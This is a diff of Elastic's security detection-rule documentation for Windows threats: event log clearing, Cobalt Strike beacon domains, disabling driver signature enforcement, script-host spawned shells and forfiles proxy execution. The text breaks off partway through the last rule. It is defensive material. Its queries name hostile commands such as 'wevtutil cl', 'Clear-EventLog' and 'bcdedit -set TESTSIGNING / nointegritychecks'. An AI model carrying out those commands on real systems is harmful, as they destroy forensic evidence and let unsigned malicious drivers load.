Event Logs + +Identifies attempts to clear or disable Windows event log stores using Windows wevetutil command. This is often done by attackers in an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Clearing Windows Event Logs* + + +Windows event logs are a fundamental data source for security monitoring, forensics, and incident response. Adversaries can tamper, clear, and delete this data to break SIEM detections, cover their tracks, and slow down incident response. + +This rule looks for the execution of the `wevtutil.exe` utility or the `Clear-EventLog` cmdlet to clear event logs. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and there are justifications for this action. +- Analyze whether the cleared event log is pertinent to security and general monitoring. Administrators can clear non-relevant event logs using this mechanism. If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - This activity is potentially done after the adversary achieves its objectives on the host. Ensure that previous actions, if any, are investigated accordingly with their response playbooks. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (process.name : "wevtutil.exe" or ?process.pe.original_file_name == "wevtutil.exe") and + process.args : ("/e:false", "cl", "clear-log") + ) or + ( + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "Clear-EventLog" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Windows Event Logs +** ID: T1070.001 +** Reference URL: https://attack.mitre.org/techniques/T1070/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cobalt-strike-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cobalt-strike-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..4fe8712dd6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cobalt-strike-command-and-control-beacon.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-cobalt-strike-command-and-control-beacon]] +=== Cobalt Strike Command and Control Beacon + +Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.morphisec.com/fin7-attacks-restaurant-industry +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Cobalt Strike Command and Control Beacon* + + +Cobalt Strike is a penetration testing tool often repurposed by attackers for malicious activities, particularly for establishing command and control (C2) channels. Adversaries exploit its beaconing feature to communicate with compromised systems using common protocols like HTTP or TLS. The detection rule identifies suspicious network patterns, such as specific domain naming conventions, indicative of Cobalt Strike's C2 activity, helping analysts pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific domain that triggered the rule, focusing on the pattern [a-z]{3}.stage.[0-9]{8}\..* to determine if it matches known malicious domains. +- Analyze the network traffic logs associated with the alert, specifically looking at events categorized under network or network_traffic with types tls or http, to gather more context about the communication. +- Investigate the source IP address and destination domain involved in the alert to determine if they have been associated with previous malicious activities or are listed in threat intelligence databases. +- Examine the timeline of the network activity to identify any patterns or anomalies that could indicate a larger campaign or coordinated attack. +- Check for any related alerts or incidents in the security information and event management (SIEM) system that might provide additional context or indicate a broader compromise. +- Assess the affected endpoint for any signs of compromise, such as unusual processes or connections, to determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar domain naming conventions. Review and whitelist known update servers to prevent false alerts. +- Internal development or testing environments might mimic Cobalt Strike's domain patterns for legitimate purposes. Identify and exclude these environments from the rule. +- Automated scripts or tools that generate network traffic with similar domain structures can trigger false positives. Monitor and document these tools, then create exceptions for their activity. +- Some content delivery networks (CDNs) might use domain patterns that match the rule's criteria. Verify and exclude trusted CDNs to reduce unnecessary alerts. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the rule's effectiveness. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the Cobalt Strike C2 server. This can be done by disconnecting the network or using network segmentation techniques. +- Conduct a thorough forensic analysis of the compromised systems to identify the extent of the breach and any additional payloads or backdoors that may have been installed. +- Remove any identified Cobalt Strike beacons or related malware from the affected systems using updated antivirus or endpoint detection and response (EDR) tools. +- Change all credentials and access tokens that may have been exposed or used on the compromised systems to prevent unauthorized access. +- Monitor network traffic for any signs of re-infection or communication attempts with known Cobalt Strike C2 domains, using updated threat intelligence feeds. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement network-level controls, such as blocking known malicious domains and IP addresses associated with Cobalt Strike, to prevent future attacks. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +((event.category: (network OR network_traffic) AND type: (tls OR http)) + OR data_stream.dataset: (network_traffic.tls OR network_traffic.http) +) AND destination.domain:/[a-z]{3}.stage.[0-9]{8}\..*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-code-signing-policy-modification-through-built-in-tools.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-code-signing-policy-modification-through-built-in-tools.asciidoc new file mode 100644 index 0000000000..420ef2da79 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-code-signing-policy-modification-through-built-in-tools.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-21-code-signing-policy-modification-through-built-in-tools]] +=== Code Signing Policy Modification Through Built-in tools + +Identifies attempts to disable/modify the code signing policy through system native utilities. Code signing provides authenticity on a program, and grants the user with the ability to check whether the program has been tampered with. By allowing the execution of unsigned or self-signed code, threat actors can craft and execute malicious code. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Code Signing Policy Modification Through Built-in tools* + + +Windows Driver Signature Enforcement (DSE) is a security feature introduced by Microsoft to enforce that only signed drivers can be loaded and executed into the kernel (ring 0). This feature was introduced to prevent attackers from loading their malicious drivers on targets. If the driver has an invalid signature, the system will not allow it to be loaded. + +This protection is essential for maintaining the security of the system. However, attackers or even administrators can disable this feature and load untrusted drivers, as this can put the system at risk. Therefore, it is important to keep this feature enabled and only load drivers from trusted sources to ensure the integrity and security of the system. + +This rule identifies commands that can disable the Driver Signature Enforcement feature. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Use Osquery and endpoint driver events (`event.category = "driver"`) to investigate if suspicious drivers were loaded into the system after the command was executed. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} +- Identify the driver's `Device Name` and `Service Name`. +- Check for alerts from the rules specified in the `Related Rules` section. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Related Rules* + + +- First Time Seen Driver Loaded - df0fd41e-5590-4965-ad5e-cd079ec22fa9 +- Untrusted Driver Loaded - d8ab1ec1-feeb-48b9-89e7-c12e189448aa +- Code Signing Policy Modification Through Registry - da7733b1-fe08-487e-b536-0a04c6d8b0cd + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Disable and uninstall all suspicious drivers found in the system. This can be done via Device Manager. (Note that this step may require you to boot the system into Safe Mode.) +- Remove the related services and registry keys found in the system. Note that the service will probably not stop if the driver is still installed. + - This can be done via PowerShell `Remove-Service` cmdlet. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Remove and block malicious artifacts identified during triage. +- Ensure that the Driver Signature Enforcement is enabled on the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name: "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and process.args: ("-set", "/set") and + process.args: ("TESTSIGNING", "nointegritychecks", "loadoptions", "DISABLE_INTEGRITY_CHECKS") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing Policy Modification +** ID: T1553.006 +** Reference URL: https://attack.mitre.org/techniques/T1553/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-code-signing-policy-modification-through-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-code-signing-policy-modification-through-registry.asciidoc new file mode 100644 index 0000000000..97ea4b3897 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-code-signing-policy-modification-through-registry.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-code-signing-policy-modification-through-registry]] +=== Code Signing Policy Modification Through Registry + +Identifies attempts to disable the code signing policy through the registry. Code signing provides authenticity on a program, and grants the user with the ability to check whether the program has been tampered with. By allowing the execution of unsigned or self-signed code, threat actors can craft and execute malicious code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Code Signing Policy Modification Through Registry* + + +Microsoft created the Windows Driver Signature Enforcement (DSE) security feature to prevent drivers with invalid signatures from loading and executing into the kernel (ring 0). DSE aims to protect systems by blocking attackers from loading malicious drivers on targets. + +This protection is essential for maintaining system security. However, attackers or administrators can disable DSE and load untrusted drivers, which can put the system at risk. Therefore, it's important to keep this feature enabled and only load drivers from trusted sources to ensure system integrity and security. + +This rule identifies registry modifications that can disable DSE. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Use Osquery and endpoint driver events (`event.category = "driver"`) to investigate if suspicious drivers were loaded into the system after the registry was modified. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} +- Identify the driver's `Device Name` and `Service Name`. +- Check for alerts from the rules specified in the `Related Rules` section. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Related Rules* + + +- First Time Seen Driver Loaded - df0fd41e-5590-4965-ad5e-cd079ec22fa9 +- Untrusted Driver Loaded - d8ab1ec1-feeb-48b9-89e7-c12e189448aa +- Code Signing Policy Modification Through Built-in tools - b43570de-a908-4f7f-8bdb-b2df6ffd8c80 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Disable and uninstall all suspicious drivers found in the system. This can be done via Device Manager. (Note that this step may require you to boot the system into Safe Mode.) +- Remove the related services and registry keys found in the system. Note that the service will probably not stop if the driver is still installed. + - This can be done via PowerShell `Remove-Service` cmdlet. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Remove and block malicious artifacts identified during triage. +- Ensure that the Driver Signature Enforcement is enabled on the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value: "BehaviorOnFailedVerify" and registry.data.strings : ("0", "0x00000000", "1", "0x00000001") and + not process.executable : + ("?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\CCM\\CcmExec.exe") + /* + Full registry key path omitted due to data source variations: + "HKEY_USERS\\*\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing\\BehaviorOnFailedVerify" + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing Policy Modification +** ID: T1553.006 +** Reference URL: https://attack.mitre.org/techniques/T1553/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-and-scripting-interpreter-via-windows-scripts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-and-scripting-interpreter-via-windows-scripts.asciidoc new file mode 100644 index 0000000000..d395f1161d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-and-scripting-interpreter-via-windows-scripts.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-command-and-scripting-interpreter-via-windows-scripts]] +=== Command and Scripting Interpreter via Windows Scripts + +Identifies PowerShell.exe or Cmd.exe execution spawning from Windows Script Host processes Wscript.exe. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command and Scripting Interpreter via Windows Scripts* + + +PowerShell, a powerful scripting language in Windows, is often targeted by adversaries for executing malicious scripts. Attackers exploit Windows Script Host processes like cscript or wscript to launch PowerShell with obfuscated commands, evading detection. The detection rule identifies such suspicious activity by monitoring PowerShell executions with specific patterns and parent processes, while filtering out known legitimate use cases to reduce false positives. + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any obfuscation patterns or suspicious commands, such as Base64 encoding or web requests, that match the query's suspicious patterns. +- Examine the parent process details, specifically focusing on wscript.exe, cscript.exe, or mshta.exe, to determine if the PowerShell execution was initiated by a legitimate script or a potentially malicious one. +- Check the process execution context, including the user account and host, to assess if the activity aligns with expected behavior for that user or system. +- Investigate any network connections or file downloads initiated by the PowerShell process, especially those involving external IP addresses or domains, to identify potential data exfiltration or further malicious activity. +- Correlate the alert with other security events or logs from the same host or user to identify any preceding or subsequent suspicious activities that could indicate a broader attack campaign. + + +*False positive analysis* + + +- Legitimate PowerShell commands using non-shortened execution flags may trigger false positives. To manage this, exclude processes with arguments like "-EncodedCommand", "Import-Module*", and "-NonInteractive" unless they are associated with suspicious activity. +- Third-party installation scripts, such as those related to Microsoft System Center or WebLogic, can cause false positives. Exclude these by filtering out specific parent process arguments or command lines, such as "Microsoft.SystemCenter.ICMPProbe.WithConsecutiveSamples.vbs" and "WEBLOGIC_ARGS_CURRENT_1.DATA". +- Routine administrative tasks, like gathering network information, may be flagged. Exclude known scripts like "gatherNetworkInfo.vbs" from detection to prevent unnecessary alerts. +- Exclude specific user scripts or tools that are known to be safe, such as those located in user directories like "C:\Users\Prestige\AppData\Local\Temp\Rar$*\KMS_VL_ALL_AIO.cmd" if they are verified as non-malicious. +- Regularly review and update exclusion lists to ensure they reflect current legitimate activities and do not inadvertently allow new threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious execution. +- Conduct a thorough review of the affected system's PowerShell execution logs to identify any additional malicious scripts or commands that may have been executed. +- Remove any malicious scripts or files identified during the investigation from the system to prevent re-execution. +- Restore the system from a known good backup if any critical system files or configurations have been altered by the malicious activity. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.command_line != null and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe", "cmd.exe") or + ?process.pe.original_file_name : ("powershell.exe", "pwsh.dll", "powershell_ise.exe", "Cmd.Exe") + ) and + process.parent.name : ("wscript.exe", "mshta.exe") and + not ( + process.args : ( + "C:\\Program Files\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat", + "\"C:\\Program Files\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat\"" + ) or + process.command_line : ( + "\"C:\\Windows\\system32\\cmd.exe\" /c auditpol.exe /set /SUBCATEGORY:*", + "\"C:\\Windows\\system32\\cmd.exe\" /c auditpol.exe /get*", + "\"C:\\Windows\\system32\\cmd.exe\" /c exit\"" + ) or + (process.args == "-File" and process.args == "-ExecutionPolicy") + ) + and + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-execution-via-forfiles.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-execution-via-forfiles.asciidoc new file mode 100644 index 0000000000..eaa172e5a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-execution-via-forfiles.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-21-command-execution-via-forfiles]] +=== Command Execution via ForFiles + +Detects attempts to execute a command via the forfiles Windows utility. Adversaries may use this utility to proxy execution via a trusted parent process. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Forfiles/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Command Execution via ForFiles* + + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect 